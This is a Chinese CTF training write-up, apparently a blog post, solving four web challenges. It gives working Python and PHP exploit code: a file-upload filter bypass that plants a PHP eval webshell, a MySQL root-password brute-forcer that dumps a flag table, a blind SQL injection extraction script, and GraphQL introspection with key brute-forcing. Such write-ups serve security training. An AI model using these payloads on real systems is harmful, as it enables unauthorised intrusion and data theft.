CTF暑期集训-第一阶段考核赛WEB题解

EASY-WEB

题目描述

图片.png

解题过程

  1. 右键源代码发现提示
图片.png
  1. GET请求带上参数source,得到如下:
图片.png
  1. POST传值name参数结果提示如下
图片.png
  1. 根据提示抓包在cookie中修改user=admin重新发包

图片.png

在响应头得到提示,经过base64解密得到:ok ,do you know zhenxiaoyu.she is so cute,so let see zhen_xiao_yu_cute.php,根据提示访问zhen_xiao_yu_cute.php,结果如下:

图片.png
  1. 审阅代码,发现需要将页面session会话中的zhenxiaoyukey完整拼接出来然后发送到zhen_xiao_yu_give_you_flag.php,通过脚本实现
  2. 得到一半flag和提示访问xiaojun.php,界面如下

根据题目提示进行传值后爆破,得到另一半flag,拼接flag得到完整flag

import requests
url = 'http://47.97.187.132:10001/'
session = requests.session()
def step_one():
    # zhen_xiao_yu_cute.php
    key = ''
    while 1:
        back = session.get(url + 'zhen_xiao_yu_cute.php').text
        if back[-1]=='>':
            break
        key +=back[-1]

    print("[+] key is " + key)
    print("[+] send it to zhen_xiao_yu_give_you_flag.php")

    back = session.get(url + 'zhen_xiao_yu_give_you_flag.php?key='+key,data= {'key':key})
    flag_start = back.text.find("flag")
    flag_over = back.text.find("<!-- xiao yu say:")
    flag_one = back.text[flag_start:flag_over]
    print("[+] I GET FLAG ONE is %s" % flag_one)
    return flag_one
def getxiaojunflag():
    startword = session.get(url + "xiaojun.php").text
    startword = startword[startword.find('upload')+9:startword.find('upload')+12]
    try :
        session.get(url+"xiaojun.php?try",timeout=1)
    except:
        pass
    # print(startword)
    for i in range(1000):
        filename = "/upload/" + startword + str(i).zfill(3) + '.txt'
        # print(filename)
        back = session.get(url + filename)
        if back.status_code ==200:
            print(back.text)
            break
step_one()
getxiaojunflag()

GraphQL-WEB

题目描述

题目截图

考点

GraphQL安全机制

解题步骤

  1. 打开题目发现只有一个输入框,且会将信息回传回来。
  1. 先查看源代码
    可以发现信息格式为: /graphql?query={Gugugu(gugugu:"'+askinfo+'")}

3.发现api名字是graphql 那么先搜索一下关键词

GraphQL安全指北

发现graphql 存在内省自检机制,可以直接获取后端定义的所有接口信息 可以通过__schema查询所有可用对象:

{
    __schema {
        types {
            name
        }
    }
}
RETURN: 
{"data":{"__schema":{"types":[{"name":"Query"},{"name":"String"},{"name":"Int"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"Boolean"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
图片.png

http://127.0.0.1:8000/graphql?query={__schema{types{name}}}

通过__type查询指定对象的所有字段:

{
  __type(name:"Query"){
    fields {
      description
      name
      type {
        name
        kind
            ofType {
              name
              kind
              description
            }
      }
    }
    }
}
RETURN 
{"data":{"__type":{"fields":[{"description":null,"name":"foo","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":null,"name":"hello_CTFER","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":"GO ON // you should send key to see flag \u300ckey-type\uff1aNo\\d\\d\\d \u300d ","name":"config","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":"\u4eba\u7c7b\u7684\u672c\u8d28\u662f\u4ec0\u4e48\uff1f","name":"Gugugu","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":"calculate a + b then return the result.","name":"add","type":{"name":"Int","kind":"SCALAR","ofType":null}}]}}}
图片.png
图片.png

http://127.0.0.1:8000/graphql?query={%20__type(name:%22Query%22){%20fields%20{%20description%20name%20type%20{%20name%20kind%20ofType%20{%20name%20kind%20description%20}%20}%20}%20}%20}

  1. 由上可知:发送一个config(key : No + 三个数字) 直接爆破即可
    http://127.0.0.1:8000/graphql?query={config(key:"No996")}

脚本如下:

#coding=utf-8
import requests
url = 'http://xx:xx'
for i in range(1000):
  payload = '{config(key:"NO' +str(i).zfill(3) +'")}'   //zfill方法用零垫串来填充左边宽度
  back = requests.get(url +'/graphql?query='+payload ).text
  if 'flag' in back:
    print(back)
    exit()
  
#`http://127.0.0.1:8000/graphql?query={config(key:"No996")}`

简单的上传

  1. 打开页面是文件上传,查看源代码发现存在前端js过滤,直接用插件绕过或者直接在bp中修改。
  1. 尝试php2, php3, php4, php5, phps, pht, phtm, phtml,这里可以尝试使用脚本进行fuzz
  1. 发现phps、pht没被过滤,成功上传并给出了文件位置,访问发现pht被解析,phps无法解析,所以菜刀或者中国蚁剑连接上传的pht文件
  1. 发现存在hint.txt文件,提示flag在数据库
  1. 数据库用户名为root,密码为6位数字,本地php爆破,根据回显判断密码是否正确。接着连接数据库进行查询,然后输出在页面上
图片.png
  1. 访问页面查看flag
#coding=utf-8

import requests

a='1.pht'
# files = {'fupload': ('1.pht', open('1.pht', 'rb'), 'image/gif', {'Expires': '0'})}
files = {'fupload': ('1.pht', b'<?php @eval($_POST[1]);?>', 'image/gif', {'Expires': '0'})}
files = {'fupload': ('1.pht', b'''<?php
    ini_set("display_errors", "On");
    error_reporting(E_ALL);
    ini_set("display_errors", "On");  
    error_reporting(0);

    for($i=92873;$i<1000000;$i++){
        $b = ($i);
        if(strlen($b)==1){
            $t = "00000".$b;
        }else if(strlen($b)==2){
            $t = "0000".$b;
        }else if(strlen($b)==3){
            $t = "000".$b;
        }else if(strlen($b)==4){
            $t = "00".$b;
        }else if(strlen($b)==5){
            $t = "0".$b;
        }else{
            $t = $b;
        }
        $pass = $t;
        $con = mysqli_connect("localhost","root",$pass);
        if (!$con){
            continue;
        }else{
            echo $pass."connect ok!";
            $sql = "SELECT * from FLAG.flag";
$result = mysqli_query($con,$sql);

while($row = mysqli_fetch_array($result)){
    var_dump($row);
    echo '<hr>';
}

mysqli_close($db);
            
            break;
        }
    }

?>''', 'image/gif', {'Expires': '0'})}

back = requests.post('http://127.0.0.1:5002/index.php',files=files,data={'submit':'upload!'})

print(back.text)

easy-sql

  • 考点:sql盲注
  • 脚本如下
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
import requests

def length(url,findstr):
    num = 1
    while True:
        str_num = '%d' % num
        payload = "admin' and (select length(database()) = " + str_num + ")#"
        data = {'user': payload}
        response = requests.post(url, data=data)
        if findstr in response.content.decode('UTF-8'):
            return str_num
        else:
            num = num + 1

def getdata(url,findstr):
    database = ""
    for i in range(1, 7):
        for j in range(22, 123):
            payload = "admin' and ascii(mid(database(),%s,1))=%s#" % (str(i), str(j))
            data = {'user': payload}
            response = requests.post(url, data=data)
            if findstr in response.content.decode('UTF-8'):
                database = database + chr(j)
                break
            else:
                j = j + 1
    return  database

def gettable(url,findstr):
    tablename = ""
    for i in range(1, 10):
        for j in range(22, 123):
            payload = "admin' and ascii(mid((select group_concat(TABLE_NAME) from information_schema.tables where table_schema=DATABASE()),%s,1))=%s#" % (str(i), str(j))
            data = {'user': payload}
            response = requests.post(url, data=data)
            if findstr in response.content.decode('UTF-8'):
                tablename = tablename + chr(j)
                break
            else:
                j = j + 1
    return  tablename


def getcolumnname(url,findstr):
    columnname = ""
    for i in range(1, 10):
        for j in range(22, 123):
            payload = "admin' and ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='f1ag'),%s,1))=%s#" % (str(i), str(j))
            data = {'user': payload}
            response = requests.post(url, data=data)
            if findstr in response.content.decode('UTF-8'):
                columnname = columnname + chr(j)
                break
            else:
                j = j + 1
    return  columnname


def getflag(url,findstr):
    flag = ""
    for i in range(1, 32):
        for j in range(22, 128):
            payload = "admin' and ascii(mid((select fl4g from f1ag),%s,1))=%s#" % (str(i), str(j))
            data = {'user': payload}
            response = requests.post(url, data=data)
            if findstr in response.content.decode('UTF-8'):
                flag = flag + chr(j)
                break
            else:
                j = j + 1
    return  flag
url = "http://47.97.187.132:10004/index.php"
findstr = "登录成功"

# print length(url,findstr)
#6
# print getdata(url,findstr)
#dbuser
# print gettable(url,findstr)
# print getcolumnname(url,findstr)
print getflag(url,findstr)
#flag{lekaihua_is_panghuhuh}
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,117评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,328评论 1 293
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,839评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,007评论 0 206
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,384评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,629评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,880评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,593评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,313评论 1 243
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,575评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,066评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,392评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,052评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,082评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,844评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,662评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,575评论 2 270

推荐阅读更多精彩内容

  • WEB2 看源代码得flag 文件上传测试 找一张图片上传,截包改后缀名为.php得flag 计算题 F12修改输...
    a2dd56f6ad89阅读 18,417评论 0 2
  • WEB 1、签到题 进入网页之后只有一行字”key在哪里?”,直接右键,查看网页源代码, nctf{flag_ad...
    windbsy阅读 7,414评论 0 1
  • 题目链接:https://cgctf.nuptsast.com/challenges#Web 签到题 查看网页源...
    a2dd56f6ad89阅读 8,156评论 0 2
  • 5.12殷丹种子实践 今日种子实践: 近期目标:伴侣目标 1 诵白字明咒忏悔往昔之邪淫罪业。种种子种的感觉好累,但...
    殷丹阅读 87评论 0 0
  • 高考话题 距离2019年高考仅 3 天,让我们一起来看看历届高考中的8大失误,吸取经验,为自己高考一臂之力 每一...
    崔军巧阅读 147评论 0 0